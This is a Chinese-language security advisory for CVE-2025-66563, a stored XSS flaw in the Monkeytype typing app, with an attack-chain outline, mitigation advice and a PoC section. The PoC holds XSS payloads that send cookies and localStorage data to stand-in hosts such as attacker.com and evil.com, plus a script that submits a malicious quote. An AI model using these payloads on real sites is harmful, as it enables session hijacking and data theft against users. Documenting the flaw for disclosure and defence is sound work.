IPBUF安全漏洞报告
English
CVE-2025-66563 CVSS 6.1 中危

CVE-2025-66563 Monkeytype XSS漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-66563
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Monkeytype

相关标签

CVE-2025-66563Monkeytype存储型XSS跨站脚本JavaScript注入GitHub安全漏洞Web应用安全DOM XSS

漏洞概述

CVE-2025-66563是GitHub安全团队发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Monkeytype应用25.49.0及更早版本。Monkeytype是一款极简且可定制的打字测试应用,用户可以提交自定义引文(quotes)供打字练习使用。漏洞根源在于应用对用户输入的quote.text和quote.source字段处理不当,这两个字段的内容被直接插入到网页的DOM中而未进行充分的HTML转义。虽然应用尝试使用引号和textarea标签进行一些转义操作,但攻击者仍可构造特殊的恶意载荷绕过这些防护措施。当其他用户查看包含恶意代码的引文时,攻击者注入的JavaScript代码将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。由于攻击需要用户查看恶意引文,因此需要一定的社交工程手段。CVSS 3.1评分为6.1,属于中等严重程度。

技术细节

漏洞存在于Monkeytype的引文提交功能中。当用户提交新的打字引文时,系统将quote.text和quote.source作为用户输入存储。问题出在后端对这些输入的处理上——它们被直接插入到DOM中而缺乏严格的HTML转义。应用虽然尝试使用quotes和textarea标签进行转义,但这种防护方式存在缺陷。攻击者可以利用HTML标签的属性值或事件处理器来注入恶意代码。例如,通过在引文文本中嵌入<script>标签、img标签的onerror事件或其他JavaScript事件处理器,可以绕过现有的防护机制。当其他用户加载这些恶意引文进行打字练习时,浏览器会解析并执行注入的脚本代码。攻击成功的前提是受害者查看或使用包含恶意代码的引文。由于引文功能是Monkeytype的核心功能之一,攻击者可以通过大量提交恶意引文来扩大攻击面。该漏洞属于存储型XSS,比反射型XSS危害更大,因为恶意代码会被持久化在服务器上,所有访问该引文的用户都会受到影响。

攻击链分析

STEP 1
侦察阶段
攻击者注册Monkeytype账户并分析引文提交功能,发现用户输入的quote.text和quote.source字段会被存储并展示给其他用户
STEP 2
载荷构造
攻击者构造恶意XSS载荷,利用HTML标签事件处理器或JavaScript协议绕过应用的简单转义机制
STEP 3
恶意提交
攻击者通过API或Web界面提交包含恶意代码的引文,引文被存储到服务器数据库中
STEP 4
等待触发
其他用户进行打字练习时选择或随机加载到攻击者提交的恶意引文
STEP 5
代码执行
受害者浏览器解析HTML时执行注入的JavaScript代码,攻击者可以窃取Cookie、会话令牌、用户敏感信息或执行其他恶意操作
STEP 6
数据窃取/会话劫持
攻击者利用窃取的凭证进行进一步攻击或直接在受害者上下文中执行操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Monkeytype CVE-2025-66563 Stored XSS PoC // Submit this payload as a quote text or source // Payload 1: Using img tag with onerror event const payload1 = '<img src=x onerror="alert(document.cookie)">'; // Payload 2: Using SVG element const payload2 = '<svg onload="fetch(`https://attacker.com/steal?c="+document.cookie)">'; // Payload 3: Using JavaScript protocol in anchor const payload3 = '<a href="javascript:fetch(`https://attacker.com/log?data="+localStorage.getItem('key'))">Click me</a>'; // Payload 4: Using body onload event const payload4 = '<body onload="fetch('https://evil.com?cookie='+document.cookie)">'; // Submit malicious quote via API async function submitMaliciousQuote(quoteText, source) { const response = await fetch('/api/quote', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ text: quoteText, source: source }) }); return response.json(); } // Example exploitation submitMaliciousQuote( '<img src=x onerror="fetch(`https://attacker.com/cookie?c=${document.cookie}`)">', 'Malicious Source' );

影响范围

Monkeytype <= 25.49.0

防御指南

临时缓解措施
在官方修复版本发布之前,可以暂时禁用用户自定义引文提交功能,或对所有引文内容进行服务端HTML实体编码转换后再存储和展示。同时建议用户在使用打字练习功能时避免选择来源不明的自定义引文。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表